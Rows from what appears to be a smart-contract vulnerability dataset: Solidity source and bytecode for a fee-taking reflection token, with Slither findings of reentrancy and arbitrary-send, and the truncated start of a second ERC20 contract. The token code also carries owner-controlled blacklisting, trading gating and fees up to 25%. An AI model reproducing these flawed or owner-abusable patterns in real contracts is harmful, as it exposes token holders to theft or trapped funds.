require(tradingOpen, "Trading is not enabled yet");
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 25, 'taxFee should be in 0 - 25');
_taxFee = taxFee;
}
function setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 0 && teamFee <= 25, 'teamFee should be in 0 - 25');
_teamFee = teamFee;
}
} | 0x6080604052600436106101385760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb146103ea578063c3c8cd8014610427578063c4081a4c1461043e578063d543dbeb14610467578063dd62ed3e14610490578063e6ec64ec146104cd5761013f565b806370a0823114610315578063715018a6146103525780637d1db4a5146103695780638da5cb5b1461039457806395d89b41146103bf5761013f565b806323b872dd116100fd57806323b872dd1461022b578063293230b814610268578063313ce5671461027f57806349bd5a5e146102aa5780636b999053146102d55780636fc3eaec146102fe5761013f565b8062b8cf2a1461014457806306fdde031461016d578063095ea7b3146101985780631694505e146101d557806318160ddd146102005761013f565b3661013f57005b600080fd5b34801561015057600080fd5b5061016b600480360381019061016691906124c0565b6104f6565b005b34801561017957600080fd5b50610182610620565b60405161018f9190612889565b60405180910390f35b3480156101a457600080fd5b506101bf60048036038101906101ba9190612480565b61065d565b6040516101cc9190612853565b60405180910390f35b3480156101e157600080fd5b506101ea61067b565b6040516101f7919061286e565b60405180910390f35b34801561020c57600080fd5b506102156106a1565b6040516102229190612a6b565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d919061242d565b6106b4565b60405161025f9190612853565b60405180910390f35b34801561027457600080fd5b5061027d61078d565b005b34801561028b57600080fd5b5061029461088f565b6040516102a19190612ae0565b60405180910390f35b3480156102b657600080fd5b506102bf610898565b6040516102cc9190612838565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f79190612393565b6108be565b005b34801561030a57600080fd5b506103136109ae565b005b34801561032157600080fd5b5061033c60048036038101906103379190612393565b610a20565b6040516103499190612a6b565b60405180910390f35b34801561035e57600080fd5b50610367610a71565b005b34801561037557600080fd5b5061037e610bc4565b60405161038b9190612a6b565b60405180910390f35b3480156103a057600080fd5b506103a9610bca565b6040516103b69190612838565b60405180910390f35b3480156103cb57600080fd5b506103d4610bf3565b6040516103e19190612889565b60405180910390f35b3480156103f657600080fd5b50610411600480360381019061040c9190612480565b610c30565b60405161041e9190612853565b60405180910390f35b34801561043357600080fd5b5061043c610c4e565b005b34801561044a57600080fd5b5061046560048036038101906104609190612509565b610cc8565b005b34801561047357600080fd5b5061048e60048036038101906104899190612509565b610db8565b005b34801561049c57600080fd5b506104b760048036038101906104b291906123ed565b610f03565b6040516104c49190612a6b565b60405180910390f35b3480156104d957600080fd5b506104f460048036038101906104ef9190612509565b610f8a565b005b6104fe61107a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610582906129ab565b60405180910390fd5b60005b815181101561061c576001600c60008484815181106105b0576105af612e4c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061061490612da5565b91505061058e565b5050565b60606040518060400160405280600b81526020017f56697267696e6163746963000000000000000000000000000000000000000000815250905090565b600061067161066a61107a565b8484611082565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006a01a784379d99db42000000905090565b60006106c184848461124d565b610782846106cd61107a565b61077d8560405180606001604052806028815260200161324660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061073361107a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117319092919063ffffffff16565b611082565b600190509392505050565b61079561107a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610822576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610819906129ab565b60405180910390fd5b601160149054906101000a900460ff1615610872576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610869906128cb565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b60006012905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108c661107a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094a906129ab565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ef61107a565b73ffffffffffffffffffffffffffffffffffffffff1614610a0f57600080fd5b6000479050610a1d81611795565b50565b6000610a6a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611890565b9050919050565b610a7961107a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd906129ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5652474e00000000000000000000000000000000000000000000000000000000815250905090565b6000610c44610c3d61107a565b848461124d565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c8f61107a565b73ffffffffffffffffffffffffffffffffffffffff1614610caf57600080fd5b6000610cba30610a20565b9050610cc5816118fe565b50565b610cd061107a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d54906129ab565b60405180910390fd5b60008110158015610d6f575060198111155b610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da590612a4b565b60405180910390fd5b8060088190555050565b610dc061107a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e44906129ab565b60405180910390fd5b60008111610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e879061296b565b60405180910390fd5b610ec16064610eb3836a01a784379d99db42000000611b8690919063ffffffff16565b611c0190919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610ef89190612a6b565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f9261107a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611016906129ab565b60405180910390fd5b60008110158015611031575060198111155b611070576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611067906129cb565b60405180910390fd5b8060098190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e990612a2b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111599061292b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112409190612a6b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b490612a0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561132d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611324906128ab565b60405180910390fd5b60008111611370576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611367906129eb565b60405180910390fd5b611378610bca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113e657506113b6610bca565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561166e57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114945750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114e957601160149054906101000a900460ff166114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df906128eb565b60405180910390fd5b5b6012548111156114f857600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561159c5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115a557600080fd5b60006115b030610a20565b905060125481106115c15760125490505b601160159054906101000a900460ff1615801561162c5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116445750601160169054906101000a900460ff165b1561166c57611652816118fe565b6000479050600081111561166a5761166947611795565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117155750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561171f57600090505b61172b84848484611c4b565b50505050565b6000838311158290611779576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117709190612889565b60405180910390fd5b50600083856117889190612c82565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6117e5600284611c0190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611810573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611861600284611c0190919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561188c573d6000803e3d6000fd5b5050565b60006006548211156118d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ce9061290b565b60405180910390fd5b60006118e1611c78565b90506118f68184611c0190919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561193657611935612e7b565b5b6040519080825280602002602001820160405280156119645781602001602082028036833780820191505090505b509050308160008151811061197c5761197b612e4c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a1e57600080fd5b505afa158015611a32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a5691906123c0565b81600181518110611a6a57611a69612e4c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ad130601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611082565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b35959493929190612a86565b600060405180830381600087803b158015611b4f57600080fd5b505af1158015611b63573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611b995760009050611bfb565b60008284611ba79190612c28565b9050828482611bb69190612bf7565b14611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed9061298b565b60405180910390fd5b809150505b92915050565b6000611c4383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ca3565b905092915050565b80611c5957611c58611d06565b5b611c64848484611d49565b80611c7257611c71611f14565b5b50505050565b6000806000611c85611f28565b91509150611c9c8183611c0190919063ffffffff16565b9250505090565b60008083118290611cea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce19190612889565b60405180910390fd5b5060008385611cf99190612bf7565b9050809150509392505050565b6000600854148015611d1a57506000600954145b15611d2457611d47565b600854600a81905550600954600b81905550600060088190555060006009819055505b565b600080600080600080611d5b87611f90565b955095509550955095509550611db986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e9a816120a0565b611ea4848361215d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f019190612a6b565b60405180910390a3505050505050505050565b600a54600881905550600b54600981905550565b6000806000600654905060006a01a784379d99db420000009050611f626a01a784379d99db42000000600654611c0190919063ffffffff16565b821015611f83576006546a01a784379d99db42000000935093505050611f8c565b81819350935050505b9091565b6000806000806000806000806000611fad8a600854600954612197565b9250925092506000611fbd611c78565b90506000806000611fd08e87878761222d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061203a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611731565b905092915050565b60008082846120519190612ba1565b905083811015612096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208d9061294b565b60405180910390fd5b8091505092915050565b60006120aa611c78565b905060006120c18284611b8690919063ffffffff16565b905061211581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61217282600654611ff890919063ffffffff16565b60068190555061218d8160075461204290919063ffffffff16565b6007819055505050565b6000806000806121c360646121b5888a611b8690919063ffffffff16565b611c0190919063ffffffff16565b905060006121ed60646121df888b611b8690919063ffffffff16565b611c0190919063ffffffff16565b9050600061221682612208858c611ff890919063ffffffff16565b611ff890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122468589611b8690919063ffffffff16565b9050600061225d8689611b8690919063ffffffff16565b905060006122748789611b8690919063ffffffff16565b9050600061229d8261228f8587611ff890919063ffffffff16565b611ff890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006122c96122c484612b20565b612afb565b905080838252602082019050828560208602820111156122ec576122eb612eaf565b5b60005b8581101561231c57816123028882612326565b8452602084019350602083019250506001810190506122ef565b5050509392505050565b60008135905061233581613217565b92915050565b60008151905061234a81613217565b92915050565b600082601f83011261236557612364612eaa565b5b81356123758482602086016122b6565b91505092915050565b60008135905061238d8161322e565b92915050565b6000602082840312156123a9576123a8612eb9565b5b60006123b784828501612326565b91505092915050565b6000602082840312156123d6576123d5612eb9565b5b60006123e48482850161233b565b91505092915050565b6000806040838503121561240457612403612eb9565b5b600061241285828601612326565b925050602061242385828601612326565b9150509250929050565b60008060006060848603121561244657612445612eb9565b5b600061245486828701612326565b935050602061246586828701612326565b92505060406124768682870161237e565b9150509250925092565b6000806040838503121561249757612496612eb9565b5b60006124a585828601612326565b92505060206124b68582860161237e565b9150509250929050565b6000602082840312156124d6576124d5612eb9565b5b600082013567ffffffffffffffff8111156124f4576124f3612eb4565b5b61250084828501612350565b91505092915050565b60006020828403121561251f5761251e612eb9565b5b600061252d8482850161237e565b91505092915050565b6000612542838361254e565b60208301905092915050565b61255781612cb6565b82525050565b61256681612cb6565b82525050565b600061257782612b5c565b6125818185612b7f565b935061258c83612b4c565b8060005b838110156125bd5781516125a48882612536565b97506125af83612b72565b925050600181019050612590565b5085935050505092915050565b6125d381612cc8565b82525050565b6125e281612d0b565b82525050565b6125f181612d2f565b82525050565b600061260282612b67565b61260c8185612b90565b935061261c818560208601612d41565b61262581612ebe565b840191505092915050565b600061263d602383612b90565b915061264882612ecf565b604082019050919050565b6000612660601a83612b90565b915061266b82612f1e565b602082019050919050565b6000612683601a83612b90565b915061268e82612f47565b602082019050919050565b60006126a6602a83612b90565b91506126b182612f70565b604082019050919050565b60006126c9602283612b90565b91506126d482612fbf565b604082019050919050565b60006126ec601b83612b90565b91506126f78261300e565b602082019050919050565b600061270f601d83612b90565b915061271a82613037565b602082019050919050565b6000612732602183612b90565b915061273d82613060565b604082019050919050565b6000612755602083612b90565b9150612760826130af565b602082019050919050565b6000612778601b83612b90565b9150612783826130d8565b602082019050919050565b600061279b602983612b90565b91506127a682613101565b604082019050919050565b60006127be602583612b90565b91506127c982613150565b604082019050919050565b60006127e1602483612b90565b91506127ec8261319f565b604082019050919050565b6000612804601a83612b90565b915061280f826131ee565b602082019050919050565b61282381612cf4565b82525050565b61283281612cfe565b82525050565b600060208201905061284d600083018461255d565b92915050565b600060208201905061286860008301846125ca565b92915050565b600060208201905061288360008301846125d9565b92915050565b600060208201905081810360008301526128a381846125f7565b905092915050565b600060208201905081810360008301526128c481612630565b9050919050565b600060208201905081810360008301526128e481612653565b9050919050565b6000602082019050818103600083015261290481612676565b9050919050565b6000602082019050818103600083015261292481612699565b9050919050565b60006020820190508181036000830152612944816126bc565b9050919050565b60006020820190508181036000830152612964816126df565b9050919050565b6000602082019050818103600083015261298481612702565b9050919050565b600060208201905081810360008301526129a481612725565b9050919050565b600060208201905081810360008301526129c481612748565b9050919050565b600060208201905081810360008301526129e48161276b565b9050919050565b60006020820190508181036000830152612a048161278e565b9050919050565b60006020820190508181036000830152612a24816127b1565b9050919050565b60006020820190508181036000830152612a44816127d4565b9050919050565b60006020820190508181036000830152612a64816127f7565b9050919050565b6000602082019050612a80600083018461281a565b92915050565b600060a082019050612a9b600083018861281a565b612aa860208301876125e8565b8181036040830152612aba818661256c565b9050612ac9606083018561255d565b612ad6608083018461281a565b9695505050505050565b6000602082019050612af56000830184612829565b92915050565b6000612b05612b16565b9050612b118282612d74565b919050565b6000604051905090565b600067ffffffffffffffff821115612b3b57612b3a612e7b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bac82612cf4565b9150612bb783612cf4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612bec57612beb612dee565b5b828201905092915050565b6000612c0282612cf4565b9150612c0d83612cf4565b925082612c1d57612c1c612e1d565b5b828204905092915050565b6000612c3382612cf4565b9150612c3e83612cf4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c7757612c76612dee565b5b828202905092915050565b6000612c8d82612cf4565b9150612c9883612cf4565b925082821015612cab57612caa612dee565b5b828203905092915050565b6000612cc182612cd4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d1682612d1d565b9050919050565b6000612d2882612cd4565b9050919050565b6000612d3a82612cf4565b9050919050565b60005b83811015612d5f578082015181840152602081019050612d44565b83811115612d6e576000848401525b50505050565b612d7d82612ebe565b810181811067ffffffffffffffff82111715612d9c57612d9b612e7b565b5b80604052505050565b6000612db082612cf4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612de357612de2612dee565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f54726164696e67206973206e6f7420656e61626c656420796574000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f7465616d4665652073686f756c6420626520696e2030202d2032350000000000600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f7461784665652073686f756c6420626520696e2030202d203235000000000000600082015250565b61322081612cb6565b811461322b57600080fd5b50565b61323781612cf4565b811461324257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf1f8368e51e6c1a9f065553c84bcad905e48e8602ef17ce362bbb8d41836ee664736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,845 |
0xe898ed8b6118b11968f27329f25e04454c3ca8f2 | pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
modifier onlyPayloadSize(uint256 numwords) {
